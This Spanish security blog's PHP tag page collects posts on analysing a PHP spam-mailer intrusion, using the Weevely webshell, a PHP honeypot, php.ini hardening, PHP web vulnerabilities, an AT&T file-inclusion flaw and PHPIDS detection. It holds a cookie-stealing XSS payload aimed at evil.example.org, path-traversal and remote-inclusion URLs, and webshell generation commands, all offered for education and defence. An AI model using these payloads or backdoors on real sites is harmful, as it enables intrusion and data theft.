Mostrando entradas con la etiqueta php. Mostrar todas las entradas
Mostrando entradas con la etiqueta php. Mostrar todas las entradas

11 abril 2013

Análisis de intrusión y malware en PHP: Un caso práctico




Sucedió hace unas semanas. Recibo la llamada de un cliente preocupado, en la que me dice que algo raro está pasando en dos de sus servidores, que las colas de los procesos de correo se han vuelto locos y que están brutalmente sobrecargados. Se trata de una humilde empresa que da servicios de hosting web y correo a varios clientes a través de dos servidores alquilados. Me envía las credenciales de acceso a los mismos, tanto para SSH como para Plesk.

Una vez conectado a las máquinas, y tras comprobar que la carga de las mismas no es excesivamente elevada, descargo un kit de herramientas para diagnosticar el problema. Mediante unhide, rkhunter y chkrootkit, veo que el sistema no muestra procesos ocultos ni malware conocido. La ejecución de unhide-tcp así como un nmap remoto completo, me deja ver que no hay sockets ocultos aparentes (me parecería extraño que hubiese algún malware que exigiese port knocking previo para activarse/desactivarse, aunque la idea es bastante buena). Por otra parte, el tipo de empresa, y la de sus clientes, no me pareció que fuesen a ser el objetivo de ninguna organización ni gobierno que quiera robar secretos nucleares, por lo que no me hago a la idea que vaya a ser muy complejo el mecanismo por el que le están atizando.

Sin embargo, las colas de correo siguen incrementándose más y más. La sangre no ha debido llegar al río suficientemente, puesto que amispammer no indica que las direcciones IP de mi cliente hayan sido incluídas en alguna lista antispam. Los logs de diferentes servicios no arrojan excesiva información, excepto el de qmail, que no para de mostrar montones de intentos de conexión a servidores de AOL, a los que no puede enviar determinados mensajes por no ser válidos los buzones buscados. ¿Pero esto de AOL no se había muerto ya hace años? Sin embargo, con un simple "top" observo que se ejecuta frecuentemente un mismo cgi en php. No veo un aumento significativo de recursos cada vez que se ejecuta, pero por echarle un vistazo, nada pierdo, ¿verdad?

Pues touché… según edito el fichero, me encuentro con un script php en una única línea, que claramente han ofuscado. ¿Adivináis la ruta? Dentro de un directorio con plugins para joomla de uno de los dominios clientes de hosting. En concreto en /components/com_content/newso2p.php y /components/com_content/statgpZO.php, con idéntico contenido.

Probé a subirlo a virustotal, y oh sorpresa, aparecía referenciado por muy pocos antimalware. En concreto, los únicos que lo detectaban eran ClamAV, DrWeb, Sophos, Trendmicro y VBA32… 



Entre otras acciones, como borrar los ficheros en concreto, le propuse al cliente que actualizara Joomla y sus componentes, eliminara los plugins inútiles, etc, etc, dentro de lo que el panel de hosting le permite.

A partir de aquí caben dos preguntas. ¿Cómo ha llegado ese PHP ahí? ¿Y qué es lo que hace?

La primera de las preguntas parece de fácil respuesta: dado que el fichero tenía como dueño el usuario de Apache, y dado el lugar donde estaba, tiene toda la pinta que por alguna vulnerabilidad de Joomla! que permita escribir ficheros en sus directorios de plugins o componentes. 

¿Qué hace el "malware"?
Como indiqué más arriba, el código PHP está ofuscado y, en una sola línea, hace bastante incómoda su lectura:




Por no liarme a buscar el ofuscador utilizado para este script, usé mi manido Perl para dejarlo de una forma más legible. Me hice un script quick & dirty que me permitiese pre-procesarlo:

Con lo que me queda en out.php, la idea era identificar las diversas variables del fichero, y cambiarlas por un valor más sencillo de ver, como por ejemplo $a en vez de $v1cb251ec, f1 en vez de n9a2d8ce3 para los nombres de funciones, etc,… Aproveché a eliminar funciones que no eran llamadas nunca, que simplemente confundían más al análisis.

Así, el script PHP quedaría de esta manera:


Fundamentalmente, el atacante, simplemente tenía que hacer llamadas a este PHP, mediante el método HTTP POST y en el POST DATA enviaba en varios campos diferentes la información necesaria para construir los correos: origen, destino, subject y cuerpo.

Inicialmente, estos datos vienen codificados en Base64 y se descodifican en tiempo de ejecución. Por otra parte, se procesa en el código, una lista con las direcciones  de correo destino, que viene también en la llamada. Se establecen las cabeceras necesarias del correo y el propio bicho busca si hay servidor de correo en localhost. Si lo hay, lo usa, y si no lo hay resuelve él mismo los registros MX de los correos que recibirán el spam y les abre un socket al puerto 25, estableciendo una comunicación SMTP, enchufándoles el contenido con cabeceras del correo generado.

Conclusiones
  • Pese a no ser un troyano muy mediático, el script está suficientemente bien hecho para que llame poco la atención dentro del sistema. No consume muchos recursos, ya que envía correos según se le hacen llamadas desde fuera, y en una sola llamada puede generar la ejecución de muchos correos de spam a la vez.
  • Los logs que deja no son muchos, debido a que al ser con POST, no quedan datos almacenados por los parámetros que tendría si se hiciese mediante GET.
  • Además, si da algún error la llamada POST, tampoco deja rastro, puesto que lo primero que hace en su ejecución, es deshabilitar cualquier tipo de traza así: "@error_reporting(0); @ini_set('error_log', NULL); @ini_set('log_errors',0); "
  • En cualquier caso, y supongo que para evitar WAFs o algunos IPS que analicen las llamadas HTTP, codifica los parámetros en base64. De esta manera evitas la detección de los ingredientes necesarios para construir correos con spam en base a patrones.
  • En este caso, quien se quejaba, era el sistema de monitorización de procesos del hosting, en los que el administrador veía que las estadísticas de envío de correo no eran normales, para lo que estaban acostumbrados a ver. 
  • Es interesante que se comunica con el atacante (o con el bot que lo ejecuta) mediante códigos OK + el md5 de "1234567890" cuando es correcto y un código de estado + el md5 de "0987654321" cuando es incorrecto. 
  • Los logs generados por Qmail se dispararon también en tamaño y un tcpdump del puerto 25 era como ver pasar las letras de Matrix pero a alta velocidad.
Leer más...

20 febrero 2013

Weevely, una shell PHP diferente

Hace unos días compartí a través de mi cuenta de Twitter el enlace al proyecto Weevely en GitHub, una shell PHP en 'formato telnet' que, sobre el papel, tiene bastante potencial. Después de haberla probado no me queda más que recomendaros que la añadáis a vuestro 'arsenal' de shells PHP porque gracias a su carácter modular (los módulos se desarrollan en Python) es muy versátil y funcional.

En la propia página del proyecto hay información suficiente para entender su funcionamiento, desde un manual paso a paso y una explicación detallada de los módulos incorporados por detecto, hasta un video explicativo.

Veamos un ejemplo de uso de las funciones nativas de Weevely y su módulo 'net.phpproxy' (permite tunelizar tráfico a través de la máquina en la que se ha instalado la shell).

En primer lugar descargamos la shell desde GitHub (actualmente se encuentra en la versión 1.01):

Será necesario tener instalado Python y los paquetes 'beautifulsoup4' y 'pyredline'. Podéis consultar información relativa a su instalación en el propio manual de Weevely comentado anteriormente.

Una vez descargado y descomprimido el siguiente paso será crear la shell que instalaremos en la máquina remota. Además de la creación de la shell PHP por defecto, Weevely permite crear una imagen con el código PHP incrustado o un fichero .htaccess especialmente manipulado (estas opciones corresponden a los distintos módulos de generación de backdoor).

En el comando para crear la shell PHP ofuscada (que es 'generate') es necesario indicar la contraseña que protegerá la shell de terceros y, de forma opcional, la ruta en la que se creará:

> python .\Weevely.py generate anGa$faRms92 .\backdoor.php

Si accedemos al contenido de la shell que hemos creado vemos que efectivamente está ofuscada. Si se quiere "proteger" un nivel más se puede utilizar la herramienta HideMyPHPShell (desarrollada por Alberto Ortega) desde el repositorio de herramientas de Security by Default.


Para conectarnos a la consola de Weevely basta con indicar la URL de la shell y la contraseña con la que la hemos protegido, por ejemplo:

> python .\Weevely http://localhost/backdoor.php

Una vez conectados nos saldrá la siguiente pantalla (con el comando 'HELP' accedemos a los comandos disponibles):


Para ejecutar un módulo basta con escribir su nombre precedido de ":" y, para ver su ayuda indicarle el nombre del módulo al comando ":help"; como se ve a continuación:


En el caso del módulo 'net.phpproxy' nos creará un proxy en la máquina remota en la ruta que le hayamos especificado (en el ejemplo lo creará en la misma carpeta que la shell y con nombre 'proxy.php'). El proxy que utiliza es PHP-Proxy ligeramente modificado.

Una vez instalado el proxy podremos utilizarlo para navegar a través de la máquina remota:

> http://www.ldelgado.es/proxy.php?u=http://ping.eu/nslookup/


Os recomiendo que le echéis un vistazo al resto de módulos porque permiten acceder a información que, si bien se puede hacer con una shell PHP tradicional, en este caso están al alcance de un sólo comando.

[+] Weevely - http://epinna.github.com/Weevely/
[+] HideMyPHPShell - http://sbdtools.googlecode.com/files/hidemyphpshell.py
[+] PHP-Proxy - https://github.com/milovanderlinden/php-proxy

Artículo cortesía de Luis Delgado
Leer más...

17 mayo 2011

phpot, honeypot web minimalista escrito en PHP

Desde hace tiempo andaba con la idea en la cabeza de implantar un honeypot web minimalista, con lo básico, y personalizable según el escenario de implantación. Como no podía ser de otra manera, un honeypot así tendría que ser un login web, un sitio en el que a todo el mundo le gusta curiosear, poner un 1234 por aquí, una comilla por allá ...

Como no encontré nada convincente y a muchos de nosotros nos encanta el 'Do It Yourself', pues eso, nos lo hemos hecho nosotros mismos y hoy toca compartirlo.

phpot está escrito en PHP, utiliza MySQL para guardar los datos y consta de 88 líneas de código en un único fichero (comentarios incluidos).

De cara al visitante se muestra de la siguiente forma:



Como podemos ver, es una apariencia muy simple que puede ser modificada para darle el aspecto del login de una cámara web, un router, o por qué no, de un aire acondicionado.

La parte no visible proporciona al administrador los siguientes datos del atacante:

  • IP
  • País de origen, determinado por la IP
  • User-Agent, navegador
  • Fecha y hora de la visita

El software guarda los datos tanto en caso de visita, como en caso de intento de login. En el segundo caso también se guardará usuario y login que se ha intentado.

Podemos diseccionar las partes interesantes brevemente.

Sólo se utiliza una tabla en la base de datos, que tiene la siguiente estructura:

mysql> describe tries;
+---------+--------------+------+-----+---------+-------+
| Field   | Type         | Null | Key | Default | Extra |
+---------+--------------+------+-----+---------+-------+
| id      | varchar(50)  | NO   | PRI | NULL    |       |
| ip      | varchar(50)  | YES  |     | NULL    |       |
| country | varchar(5)   | YES  |     | NULL    |       |
| uagent  | varchar(200) | YES  |     | NULL    |       |
| user    | varchar(200) | YES  |     | NULL    |       |
| pass    | varchar(200) | YES  |     | NULL    |       |
| date    | varchar(35)  | YES  |     | NULL    |       |
| type    | varchar(5)   | YES  |     | NULL    |       |
+---------+--------------+------+-----+---------+-------+
8 rows in set (0.00 sec)

La query que guarda los datos el atacante es la siguiente:

mysql_query("insert into tries values ('" . time() . "', '" . mysql_real_escape_string($_SERVER['REMOTE_ADDR']) . "', '" .
mysql_real_escape_string($country) . "', '" . mysql_real_escape_string($_SERVER['HTTP_USER_AGENT']) . "', '" .
mysql_real_escape_string($_POST["user"]) . "', " . "'" . mysql_real_escape_string($_POST["passwd"]) . "', '" .
date("r") . "', 'login');", $db_conn);

Podemos ver que todos los datos no generados en el propio código están escapados para evitar errores. Ésta es la query en caso de login, en caso de visita es parecida pero no se guarda usuario ni password, y el valor type es visit en lugar de login.

Para conseguir el país a través de la IP del visitante se utiliza el servicio de hostip.info a través de su API, la función para ésto es la siguiente:

function ip_2_country($ip) {
  return file_get_contents("http://api.hostip.info/country.php?ip=" . $ip);
}

Como añadido para confundir y distraer al atacante, la web tarda siempre un segundo añadido en responder, ya sea en una visita o en un intento de login.

Además, el error que muestra en el caso de que se intenten inyectar sentencias SQL es diferente, algo que puede distraer a un atacante inexperto.

if (strpos($_POST["user"], "'") !== false || strpos($_POST["passwd"], "'") !== false) {
  $error = "Query error, bad syntax";
}
else {
  $error = "Invalid username or password";
}

Esta vez no hemos puesto un servidor público para que se pueda probar, ya que al recopilar tantos datos del usuario puede que alguien lo visite por error y se moleste.

Podéis descargar el software desde el repositorio de SbD:

- Descargar
Leer más...

09 febrero 2011

Hardening PHP mediante php.ini

En algunas ocasiones una buena configuración nos puede salvar de un fallo de programación que pueda desembocar en una brecha de seguridad. Es el caso de PHP, cuya configuración tiene algunas medidas de seguridad que pueden ser útiles.

Vamos a ver estas opciones centrándonos en las versiones actuales de PHP5 y con PHP6 ya en mente.

El fichero de configuración de PHP es php.ini. Puede estar localizado en diferentes directorios según plataforma o distribución, por ejemplo en Ubuntu está en /etc/php5/apache2/php.ini


Si está definido, limita todas las operaciones con ficheros a la ruta especificada (root de PHP) y las contenidas por ella. Nos ayuda a evitar vulnerabilidades del tipo Directory Traversal. Esta directiva no está afectada por el hecho de que el modo seguro (Safe Mode) esté On u Off.

Ejemplo:
open_basedir = /var/www/


Deshabilita funciones de PHP. Podemos quitar funciones peligrosas como system() o exec() para restringirlas en el proceso de desarrollo, o prevenirnos de ellas en el entorno final. Si un usuario consigue subir y ejecutar un script PHP (por ejemplo una shell) no podrá ejecutar las funciones definidas en la directiva. No es una garantía, ya que aunque no se puedan usar comandos del sistema se pueden utilizar otras funciones de PHP, pero puede servirnos para hacerle perder tiempo a un atacante, evitar ataques genéricos, e incluso defendernos de un atacante con pocas habilidades técnicas en PHP.

Ejemplo:
disable_functions = system, exec, php_uname


Habilita o deshabilita que se muestren los errores de PHP (el log no se verá afectado). En el proceso de desarrollo es algo tedioso tenerlo deshabilitado, pero en el entorno final nos ayuda a que un atacante no descubra la estructura de nuestra aplicación, lo que le hará más complicada la detección y explotación de un fallo.

Ejemplo:
display_errors = Off

- register_globals [Obsoleto desde PHP 5.3.0]

Habilita o deshabilita que las variables EGPCS (Environment, GET, POST, Cookie, Server) sean globales o no. Si está habilitado permite el uso de variables sin especificar cual es su origen. Desde PHP 4.2.0 la directiva está fijada en Off por defecto.

Ejemplo práctico:

Cuando nosotros le pasamos a un script una variable por GET (/script.php?nombre=Pepe), si tenemos activado register_globals la variable en el código podrá ser utilizada como $name, en cambio, si lo tenemos desactivado tendremos que usar la variable como $_GET["name"]. La segunda forma es más segura (y a nivel de desarrollo opino que mejor), ya que un atacante no podría inyectarnos variables en un origen desde otro ($_POST vía $_GET por ejemplo).

El único motivo para habilitar esta característica es que nuestra aplicación sea antigua y el uso de variables sea el obsoleto. Aún así, es recomendable actualizar el código al segundo modelo.

Ejemplo (recomendado):
register_globals = Off

- Deshabilitar Remote File Includes

En algunas ocasiones los desarrolladores hacen inclusiones de código incluyendo en ellas datos que introduce el usuario. Si un atacante identifica una, puede utilizarla para incluir y ejecutar su propio código de forma remota, sin tener permisos de escritura en el servidor (RFI). Más información en php-security.

Ejemplo (recomendado):
allow_url_fopen = Off
allow_url_include = Off

- file_uploads

Habilita o deshabilita la subida de ficheros mediante HTTP. Si nuestra aplicación no usa subida de ficheros es una buena idea deshabilitarlo.

Ejemplo:
file_uploads = Off

- magic_quotes_gpc y magic_quotes_runtime [Obsoleto desde PHP 5.3.0]

Con estas funciones podemos escapar caracteres que pueden causar problemas con la interacción de bases de datos y permitir inyección de sentencias (como ' o "). No es una protección adecuada, por lo que es necesario utilizar las funciones específicas para solucionar estos fallos.

Ejemplo:
magic_quotes_gpc = On
magic_quotes_runtime = On

- safe_mode [Obsoleto desde PHP 5.3.0]

Es un intento de solucionar los problemas de hosting compartido a nivel de PHP. Por defecto compara el UID de ficheros cuando se intentan abrir. Permite algunas características adicionales.

Ejemplo:
safe_mode = On

Referencias:
Leer más...

25 abril 2010

Seguridad en PHP

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:
  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)


Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:

<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>

Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Se recomienda:
  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.

Directory Traversal

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.


Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:
  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)


Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:
  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones


Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:
  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

[+] PHP Security Consortium
[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix
Leer más...

29 noviembre 2009

Poster de Seguridad PHP

SektionEins ha traducido su poster/chuleta-gigante de seguridad de PHP a inglés. De tamaño DIN A0, lo están regalando a todos aquellos que completen un formulario de solicitud.

Seguramente no sea tan bonito como esos que suelen colgarse en talleres mecánicos, pero oye, tal vez pueda server como referencia en algún momento.

Su contenido contempla los siguientes temas:
  • Vulnerabilidades y conceptos
  • Funciones de PHP relacionadas con la seguridad
  • Programación segura
  • Fortificación de la configuración de PHP
  • Protección del servidor mediante Suhosin

El formulario de solicitud lo tenéis aquí: https://www.sektioneins.de/en/kontakt/php-security-poster/index.html
Leer más...

29 julio 2009

¿Quieres ver cualquier fichero del servidor de AT&T?

Hace unas horas se alertaba en diversos lugares de la existencia de una vulnerabilidad en uno de los php de esta gigante compañía de telecomunicaciones AT&T. Gigante también me parece el error, sobretodo a estas alturas.

El fichero PHP vulnerable era subpage.php, y la variable que aceptaba como parámetro cualquier archivo del servidor conociendo su ruta era page:

http://www.research.att.com/areas/visualization/papers_videos/subpage.php?page=

Y con él se podían hacer fechorias tales como obtener el fichero /etc/password, /etc/hosts, la configuración de su apache, la información de su servidor...todo lo que uno quiera únicamente sabiendo su ruta y nombre.

Hay rumores de que este descubrimiento puede llegar como respuesta al reciente bloqueo al servidor de imágenes de 4chan por parte de AT&T, el cual parece ser que evitaba que sus clientes de ADSL pudiesen acceder al bloque de direcciones IP asignado para ellos. Esto se confirmó, alegando que en realidad se había decidido bloquear el acceso porque se estaban recibiendo ataques de denegación de servicio desde dichos rangos. Moscas a cañonazos.

Pero, ¿y en qué consiste esta vulnerabilidad? ¿Por qué es explotable? ¿Cual es el despiste que tuvieron ciertos desarrolladores de att.com para permitir la lectura de cualquier fichero alojado en el servidor?

- La vulnerabilidad

La vulnerabilidad se conoce como inclusión de archivos locales gracias a directory/path traversal, y consiste en aprovecharnos de un fallo de validación de parámetros de entrada en una variable cuyo valor el desarrollador utilizará como argumento de funciones del lenguaje PHP (en el ejemplo de AT&T) como son include, require, include_once, require_once...

- El ejemplo

Si en tu código de un fichero php, que llamaremos recuperar.php, utilizas algo así para llamar a otros ficheros de tu aplicación mediante un parámetro GET por ejemplo (se almacenará en $_GET['fichero'] al realizarse la petición):

-- dramatización --
$fichero = $_GET['fichero'];
include($fichero); // A cascoporro!!!
?>
-- end of dramatización --

y la dirección es parecida a

http://www.miservidor.com/recuperar.php?fichero=pagina1.php

Aprovecha que es verano y hay más tiempo y revísala, porque sin las medidas necesarias, podrías ser víctima de este tipo de ataques.

- La consecuencia

Cambiando pagina1.php por por ejemplo:

http://www.miservidor.com/recuperar.php?fichero=../../../../(unos cuantos ../)../etc/passwd

Provocaríamos que el script llamara a dicho fichero para que su contenido fuese pintado en la página. Los "../" son los que provocan a la función saltar hacia atrás en los directorios, saliéndonos del Document Root de la aplicación web (directory traversal). Obviamente, como el passwd no es código php interpretable, veríamos el contenido íntegro incluído en la web.

- La solución
  • Filtrar, filtrar y filtrar todos los parámetros que un usuario de la página pueda manejar. No hay que fiarse de nadie.
  • Asegurarse de que no se pueden servir ficheros más allá del Document Root de la página.
  • Procesamiento correcto del parámetro y de la función que se dedique a recuperar el contenido del fichero que necesitemos. Existen funciones del propio lenguaje encargadas de limpiar una cadena para evitar que contengan puntos, barras laterales y cualquier carácter que no sea adecuado.
- Otros que han desarrollado sin tener en cuenta estas medidas:
  • Software vulnerable a Local File Inclusion y Directory/Path Traversal en milw0rm: [1], [2] y [3]
Pocos no hay...

[+] Reddit
Leer más...

28 julio 2008

apache-scalp

Ya hemos escrito sobre PHPIDS como solución para la detección de intentos de intrusión, pero hoy queríamos ampliar esta información con una herramienta de Romain Gaucher, llamada scalp, que permite en base a un fichero de registros de un servidor web detectar ataques, usando las propias reglas de PHPIDS.

Su uso es muy sencillo, consiste en un script programando en Python, (aunque está anunciada una futura versión en C++ multithread) que se ha de ejecutar pasándole como argumento el archivo a analizar, como por ejemplo, el archiconocido "access_log" de un Apache. A partir de ahí, generará un informe con las coincidencias detectadas.

Para instalarlo, basta con descargar el script de esta dirección: http://apache-scalp.googlecode.com/files/scalp-0.2.py, así como las reglas en formato XML actualizadas de PHPIDS, de la siguiente URL: https://svn.php-ids.org/svn/trunk/lib/IDS/default_filter.xmly dejarlas en el mismo directorio.

La siguiente imagen muestra la pantalla de ayuda al ejecutar sin argumentos la herramienta.


Mediante el argumento "-l" se indica cual es el fichero de logs, generando la salida en el formato deseado, por defecto en texto.


El siguiente ejemplo muestra un informe del resultado.



Leer más...

14 julio 2008

Defiende tus aplicaciones PHP con PHPIDS

Para cualquiera que siga listas como Bugtraq o se de una vuelta por packetstorm le resulta común encontrarse diariamente con cientos -literalmente- de vulnerabilidades asociadas a desarrollos web basados en PHP.

Generalmente el tipo de bug suele estar asociado a un mal filtrado del 'input' que proviene del usuario, ejemplos típicos son construir una sentencia SQL empleando un campo obtenido en algún formulario, o mostrar íntegramente y sin filtrar algún mensaje empleando un dato ofrecido por el usuario, lo que nos daría un bonito SQL Injection y un XSS.

Evidentemente este tipo de ataques son fruto de malas practicas de seguridad a la hora de programar, pero para ser justos no es menester culpar siempre al programador. Todos somos humanos y cometemos fallos.

Incluso proyectos tan robustos como WordPress han sido victimas de este tipo de fallos y por ende, sitios de la talla de Alt1040 han sido hackeados

Por eso, siempre es bueno que nos echen una mano a la hora de filtrar patrones maliciosos. Un proyecto que tiene como objetivo fortalecer aplicaciones PHP es PHPIDS.

El funcionamiento de PHPIDS es bastante curioso, no requiere instalar módulos en Apache ya que el proyecto en si es tan solo código PHP. Lo que hace es posicionarse "delante" del código PHP que se va a ejecutar y analizar los parámetros, si todo esta bien, se los envía al script, si encuentra alguna violación de seguridad, lo bloquea y muestra un mensaje de error. El concepto sería análogo a un Firewall pero a nivel aplicaciones-PHP

Existe un how-to bastante completo aquí donde explica paso-a-paso como instalar PHPIDS


Leer más...